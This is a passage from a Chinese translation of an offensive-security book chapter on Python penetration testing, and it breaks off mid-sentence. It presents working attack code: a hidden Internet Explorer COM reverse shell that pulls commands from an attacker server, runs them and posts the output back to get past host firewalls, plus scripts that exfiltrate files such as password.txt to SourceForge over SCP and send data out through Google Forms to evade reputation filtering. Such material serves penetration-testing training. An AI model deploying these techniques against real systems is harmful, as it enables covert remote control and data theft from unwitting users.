Python 进攻性渗透测试(二)

原文:annas-archive.org/md5/dccde1d96c9ad81f97529d78e3e69c9b

译者:飞龙

协议:CC BY-NC-SA 4.0

第四章:追捕我吧!

在今天的世界里,绕过和劫持软件在互联网上到处都是。然而,明确的使用和执行方式才是让你成为一名优秀的业余黑客的关键。

这可以通过正确选择工具并遵循必要的过程,完美地完成手头的任务来实现。

在本章中,我们将涵盖以下主题,帮助你实现这一目标:

  • 绕过基于主机的防火墙

  • 劫持 IE

  • 绕过拒绝过滤

  • 与 SourceForge 互动

  • 与 Google Forms 互动

  • 绕过僵尸网络过滤

  • 利用手工 XOR 加密绕过 IPS

绕过基于主机的防火墙

在我们之前的所有章节中,我们假设目标机器上的任何进程都可以在没有任何限制的情况下启动与互联网的连接。现在,在许多企业网络中,他们不再依赖内置的 Windows 防火墙。相反,他们使用高级的基于主机的防火墙来限制哪些进程可以启动与互联网的连接,就像访问控制列表(ACL)一样工作。因此,假设系统管理员只允许一些业务所需的进程访问互联网。例如,假设系统管理员允许 Windows 更新和杀毒软件更新,以及常见的浏览器,如 Chrome、Internet Explorer 和 Firefox。因此,只有这些进程被允许访问互联网,其他任何进程都会被阻止。通过实施这样的策略,我们的后门无法存活,因为它默认不会列入管理员的允许列表。最终,我们无法获得对攻击者机器的 shell。

然而,如果我们找到一种方法,能够利用我们的 Python 脚本某种方式控制Internet ExplorerIE),然后迫使它在后台连接到我们的 Kali HTTP 服务器并来回传输命令,那么我们就能绕过基于主机的防火墙策略。微软提供了组件对象模型COM),以支持进程间通信,并通过编程方式创建对象来控制和自动化多个微软产品,如 Outlook、Internet Explorer、Word 和 Excel。Internet Explorer 是所有 Windows 版本中内置的浏览器;因此,它应该始终可用,并且通常被安全管理员列为白名单中的备份浏览器,以防其他浏览器无法使用。让 Internet Explorer 代替我们发起连接的另一个好处是,如果目标在连接互联网之前使用了内部代理,那么你不必担心知道代理信息,因为 Internet Explorer 会为我们处理这一切。

所以,我们在这里做的是假设主机防火墙只允许某些进程,如杀毒软件、Firefox、Internet Explorer 或 Windows 更新,其他的都不允许。为此,在我们的 Python 脚本中,我们将定义一个 COM 对象来控制 Internet Explorer。然后,我们将让 Internet Explorer 导航到我们位于 Kali 机器上的 HTTP 服务器,并获取需要执行的命令。

一旦我们得到需要执行的命令,我们将启动一个子进程。我们检索命令并传递给 EXE。然后,使用 COM 对象,我们将通过 Python 脚本将其返回并启动cmd.exe作为子进程。使用 COM 对象获取的命令结果,我们会将其传递给 Internet Explorer,然后将其发布到我们位于 Kali 机器上的网站。如果你记得,这种技术与我们之前的 HTTP 反向 Shell 非常相似,但这里的关键区别是我们使用 Internet Explorer 作为我们的 Web 客户端,而不是像之前那样使用requests库。从主机防火墙的角度来看,最终的结果是,Python 脚本并没有启动任何外部会话,而是 Internet Explorer 启动了会话。

以下链接将提供有关 COM 协议的更多信息:claudihome.com/html/LR/WebHelp/Content/VuGen/132800_click_and_script.htm

劫持 IE

一如既往,使用 Python 编程将使你的生活更加轻松。现在,要在 Python 中使用 COM,你只需要安装 Python for Windows 或pywin库。由于我们在创建之前的键盘记录器时已经安装了这个库,这里就不再详细讲解了。现在,让我们进入编码部分:

# Python For Offensive PenTest

# Install Python for Windows pywin32-219.win32-py2.7
# http://sourceforge.net/projects/pywin32/files/pywin32/Build%20219/

# Hijacking IE - Shell Over IE

from win32com.client import Dispatch
from time import sleep
import subprocess

ie = Dispatch("InternetExplorer.Application") # Create browser instance.
ie.Visible = 0 # Make it invisible [ run in background ] (1= invisible)
...

在这里,我们通过创建一个InternetExplorer对象实例并将 Visible 选项设置为 0,意味着 Internet Explorer 将在后台运行。

如果我们将值设置为 1,那么 Internet Explorer 窗口将显示到目标桌面上,这是我们不希望发生的。

...
# Paramaeters for POST
dURL = "http://10.10.10.100"
Flags = 0
TargetFrame = ""

while True:

    ie.Navigate("http://10.0.10.100") # Navigate to our kali web server to grab the hacker commands

    while ie.ReadyState != 4: # Wait for browser to finish loading.
        sleep(1)

    command = ie.Document.body.innerHTML

    command = unicode(command) # Converts HTML entities to unicode. For example '&' becomes '&'
    command = command.encode('ascii','ignore') # encode the command into ASCII string and ignore any exception
    print ' [+] We received command ' + command

    if 'terminate' in command: # if the received command was terminate
        ie.Quit() # quit the IE and end up the process 
        break # end the loop

    else: # if the received command was NOT terminate then we inject the command into a shell and store the result in a variable called Data
        CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

        Data = CMD.stdout.read()
        PostData = buffer( Data ) # in order to submit or post data using COM technique , it requires to buffer the data first
                                  # https://docs.python.org/2/library/functions.html#buffer
        ie.Navigate( dURL, Flags, TargetFrame, PostData ) # we post the comamnd execution result along with the post parameters which we defined earlier..

    sleep(3)

接下来,我们开始进入一个无限循环,并导航到我们的 Kali IP 地址。我们将等待浏览器完成加载。如果浏览器没有完全加载页面,我们会休眠一秒钟。请注意,当浏览器加载完成时,ReadyState的值为4,此时第二个循环将被终止。

接下来,我们将 HTML 页面加载到一个名为command的变量中;然后,我们将 HTML 实体转换为unicode。最后,我们将命令编码为 ASCII 字符串,并忽略在此过程中可能发生的任何异常。最终结果将是我们应该执行的命令,并且我们会将其打印出来。与我们之前的 Shell 一样,如果我们从 Kali 机器获得terminate命令,我们将退出 Internet Explorer 实例并break循环。如果命令没有终止,我们就将命令注入到 Shell 中,并将结果存储在一个名为Data的变量中。现在,为了使用 COM 技术提交或发布Data,首先需要对Data进行buffer处理,我们使用了 Python 内置的buffer()函数来实现这一点。最后,我们将命令执行结果与之前定义的POST参数一起提交。我们从未使用过FlagsTargetFrame,所以我们将它们设置为默认值。这里的主要参数是dURL,它定义了我们希望提交数据的目标 URL。

让我们稍微跳到攻击者的一方,这里我们使用的正是之前在 HTTP 反向 Shell 中使用的那个 HTTP Web 服务器。启动目标端脚本后,Internet Explorer 将在后台启动,正如我们从以下截图中的 Windows 任务管理器的进程标签可以看到的那样:

https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00050.jpeg

如你所见,它对用户完全不可见。IE 正在运行,但正如我们所看到的,GUI 并没有出现在应用程序标签中。在受害者端的 Kali 机器上执行ipconfig命令时,我们获得了ipconfig命令的输出。接下来,我们可以访问目录以及执行其他命令。你还可以执行一个快速的ping 10.10.10.100

dir
cd
whoami
arp -a
ping 10.10.10.100

输出将类似于以下内容:

[+] We received command ipconfig
[+] We received command dir
[+] We received command cd
[+] We received command whoami
[+] We received command arp -a
[+] We received command ping 10.10.10.100

我们的 Shell 已经完全可用了。那么,再次解释一下刚刚发生了什么:

  • 我们的 Python 脚本在后台启动了 Internet Explorer 进程,并且我们使用 Internet Explorer 导航到 Kali 端的命令和控制服务器。

  • 然后,我们通过GETPOST方法在它们之间来回传输数据。

  • 现在,最后注意,这不仅限于一个 Shell。你还可以通过 COM 协议传输文件和提交数据。

  • 我们将留给你去发现使用 COM 协议时可以做的其他功能。

绕过下一代防火墙中的信誉过滤

下一代防火墙是集成式防火墙。它们在一个设备中具备所有安全功能,如 IPS、杀毒、反垃圾邮件和信誉过滤等。在这一部分中,我们将讨论一个重要的安全功能,它可以防止我们在目标上成功获取 shell。现在,假设我们已经成功在目标机器上植入了 Python 反向 shell。现在,在传统防火墙中,如果访问控制列表ACL)允许外部流量,则我们会成功获取到 shell。但如果防火墙正在进行信誉过滤,那么一旦客户端发起会话并返回到我们的 Kali 机器并到达防火墙时,防火墙将进行查找并检查目标 IP。然后,它会检查目标 IP 是否属于恶意网站。这个检查是基于 IP 池进行的,IP 池是防火墙从厂商数据库下载的 IP 列表。因此,如果是 Cisco 防火墙,它会使用 Cisco 数据库。如果是 Palo Alto 防火墙,它会使用 Palo Alto 池。这个数据库或池包含了大量带有信誉排名的 IP 列表。

例如,假设在 IP 或数据库中有一个 IP 地址 1.1.1.1,它的排名为 10,意味着它完全可以信任。同时,我们还有一个 IP 地址 2.2.2.2,它的排名较低为 2,这意味着它被报告为恶意 IP。假设攻击者的 IP 地址是 3.3.3.3。当发起的会话到达防火墙,并且目标 IP 地址为 3.3.3.3 时,如果这个 IP 没有被列入白名单,并且在 IP 数据库中的排名较低,那么防火墙将丢弃该流量,并将此决策记录到管理员日志中。

这里的想法是使用像 Google Forms 这样的服务器或网站提交文本,或者可能使用 SourceForge 上传文件。这样做的好处是,首先,这两个服务器或服务都非常知名,且在 10 分制中的信誉排名很高。因此,我们预计会在 IP 池或 IP 数据库中看到www.google.com或 Google Forms,且其排名为 10。其次,它可能从未被安全管理员或实时监控流量的人员标记为可疑。

与 SourceForge 互动

在本节中,我们将看到如何轻松地将文件上传到 SourceForge。从声誉过滤的角度来看,SourceForge 通常是白名单的,可能从未被安全管理员关注过。SourceForge 提供多种与其存储库交互的方式。我们将使用 SCP,这是通过 SSH 会话传输文件。现在,在 SourceForge 创建帐户很容易,因此我们将跳过这部分。在开始之前,花一分钟阅读 SourceForge 有关使用 SCP 和所需格式的文档,sourceforge.net/p/forge/documentation/SCP/。我将登录我的账户,我已经创建了一个名为Test的项目,目前没有任何文件。

现在让我们立即进入编码部分。我们将使用两个库来完成我们的工作:

# Python For Offensive PenTest

# Interacting with SourceForge

import paramiko # pip install paramiko
import scp # download link: https://pypi.python.org/pypi/scp
...

第一个库是paramikoparamiko是 SSHv2 协议的 Python 实现,提供客户端和服务器功能。scp是在paramiko之上构建的更高级库,用于在一行代码中传输文件。

在使用这些库之前,必须首先安装一个名为PyCrypto的先决条件库,从www.voidspace.org.uk/python/modules.shtml#pycrypto下载。步骤非常简单。

下一步是使用pip命令安装paramiko

pip install paramiko

最后一步是安装scp库。如果在库设置脚本中遇到任何问题,只需将库手动复制到 Python site-packages 目录中。只需通过导航到 Python27 | Lib | site-packages 粘贴 scp 脚本。

让我们来看看剩下的脚本:

...
ssh_client = paramiko.SSHClient() # creating an ssh_client instance using paramiko sshclient class

'''
when you connect to an ssh server at the first time, if the ssh server keys are not stores on the client side, you will get a warning
message syaing that the server keys are not chached in the system and will prompt whether you want to accept those keys.

since we do an automation on the target side, we inform paramiko to accept these keys for the first time without interrupting the session or
prompting the user and this done via > set_missing_host_key_policy(paramiko.AutoAddPolicy()
'''

ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())

ssh_client.connect("web.sourceforge.net", username="hkhrais", password="[123justyouandme]") #Authenticate ourselves to the sourceforge server
print '[+] Authenticating against web.sourceforge.net ...' #please use your own login credentials :D

scp = scp.SCPClient(ssh_client.get_transport()) #after a successful authentication the ssh session id will be passed into SCPClient function

scp.put('C:/Users/Hussam/Desktop/password.txt') # upload to file( in this case it's password.txt) that we want to grab from the target to /root directory
print '[+] File is uploaded '

scp.close()
print '[+] Closing the socket'

因此,我们的脚本将从使用paramiko.SSHClient()类创建一个ssh_client实例开始。现在,当您第一次连接到 SSH 服务器并且如果 SSH 服务器密钥未存储在客户端端,您将收到一个警告消息,指出服务器密钥未缓存在系统中;它将提示您接受这些密钥。

打开 PuTTY 软件,使用web.sourceforge.net作为主机名,端口22,协议为 SSH 连接到 SourceForge 服务器。现在,点击打开:

https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00051.jpeg

我们将收到一个警告弹出窗口,因为密钥未缓存在系统中。现在,由于我们执行自动化,我们将通知Paramiko在第一次接受这些密钥时不中断会话或提示用户。这将通过client.set_missing_host_key_policy,然后AutoAddPolicy()完成。

代码块中的下一步是定义我们要连接的 SourceForge 服务器名称,并上传我们的文件。我们还提供了登录凭据。在提供了 usernamepassword 后,我们将通过 SourceForge 服务器进行身份验证。身份验证成功后,SSH 会话 ID 将传递给 SCPClient() 函数,并且 get_transport() 函数将返回该会话 ID。完成此步骤后,我们所要做的就是指定要导出的文件路径,并将其上传到我们的仓库。

在这个例子中,我使用了第 5 模块或 M5.pdf 文件。因此,我们将使用 SCP 中的 put() 函数来执行上传,最后通过 .close() 函数关闭会话。

运行脚本后,我们将收到以下成功认证信息:

>>>
[+] Authenticating against web.sourceforge.net ...
[+] File is uploaded
[+] Closing the socket
>>>

现在,让我们切换到攻击者端,验证我们是否得到了文件。首先,安装 FileZilla FTP 客户端来访问我们的仓库:

apt-get install filezilla 

通过运行filezilla打开软件,并输入先前在脚本中输入的服务器名称/主机名、用户名、密码和端口号,以登录您的帐户。由于这是第一次登录,会出现警告信息,如果我们稍微向下滚动,就可以看到文件已经成功上传。M5 文件已经成功上传,以下截图显示了这一点:

https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00052.jpeg

尝试通过右键点击文件名并选择“下载”来下载此文件。如果没有错误,控制台会显示文件已成功传输。

现在,重复上述步骤,使用 .txt 扩展名检查是否成功。刷新攻击者侧并查看内容。渗透测试评估完成后,请确保从 SourceForge 仓库中删除文件。

与 Google Forms 互动

在前面的部分,我们已经看到如何将数据导出到 SourceForge 网站。现在,我们将使用 Google Forms 提交普通文本。请注意,这些文本可能是我们 Shell 的命令执行输出。这里的关键点是,类似 SourceForge,Google Forms 也有相当高的信誉排名。按照以下步骤开始:

  1. 登录 Google Forms

  2. 点击“开始新表单”创建一个新的 Google 表单

  3. 将问题输入为 Python 不是很酷吗?

  4. 在“响应”选项卡中,保留电子表格的默认名称

  5. 将问题类型从默认的“多项选择”更改为“段落”

  6. 创建表单后,点击“发送”

  7. 将提供的链接复制到记事本或文本文件中

  8. 访问我们复制的链接并提交一个简单的文本

  9. 检查我们创建的 Google Sheet 中的响应,到那时它将存储在您的 Google Drive 中

现在,我们将编写一个 Python 脚本,将目标端的文本数据提交到我们的 Google 表单,最棒的是,我们可以在不登录 Google 账户的情况下完成这项工作。像往常一样,最适合与网页交互的 Python 库是 requests,我们在前面的章节中已经使用过 requests

'''
Caution
--------
Using this script for any malicious purpose is prohibited and against the law. Please read Google terms and conditions carefully. 
Use it on your own risk. 
'''

# Python For Offensive PenTest

# Interacting with Google Forms

import requests # To install requests library, just type on the CMD: pip install requests

url = 'https://docs.google.com/forms/d/e/1FAIpQLSdNHreWMKC4li3a-Ox7IzQZ9mkZjI94I8U6jz8yHBkePXSPoA/formResponse' # please replace the URL with your own google form :D

'''
notice that i added /formResponse to the end of the URL and this is inherited from the page HTML source code,
as we can see below, the HTML form action contains /formResponse when method POST is used to send the user data
so we have to add this part when we automate the data submission
    ''' form_data = {'entry.1542374001':'Hello from Python'} r = requests.post(url, data=form_data) # Submitting form-encoded data in requests:- # http://docs.python-requests.org/en/latest/user/quickstart/#more-complicated-post-requests

再次强调,安装非常简单:只需执行 pip install requests。现在,我们看到的是 requests 文档,用于提交 HTML 表单编码的 POST 请求:

https://github.com/OpenDocCN/freelearn-sec-pt2-zh/raw/master/docs/py-off-pentest/img/00053.jpeg

现在,根据文档,我们首先定义提交表单的 URL,在我们的例子中,就是 Google 表单的 URL。第二个参数是我们的数据,以字典格式呈现,其中我们有一个 key 和对应的值。请记住,key 是表单名称,而它的值是我们要发送的文本数据。

让我们跳转到 Google 表单链接,找出表单名称,这将是我们字典中的 key。打开我们创建的表单的源代码,在 HTML 中搜索 Python 字符串。如果仔细查看,你会发现提交文本的 HTML 表单名称。在我们的例子中,作为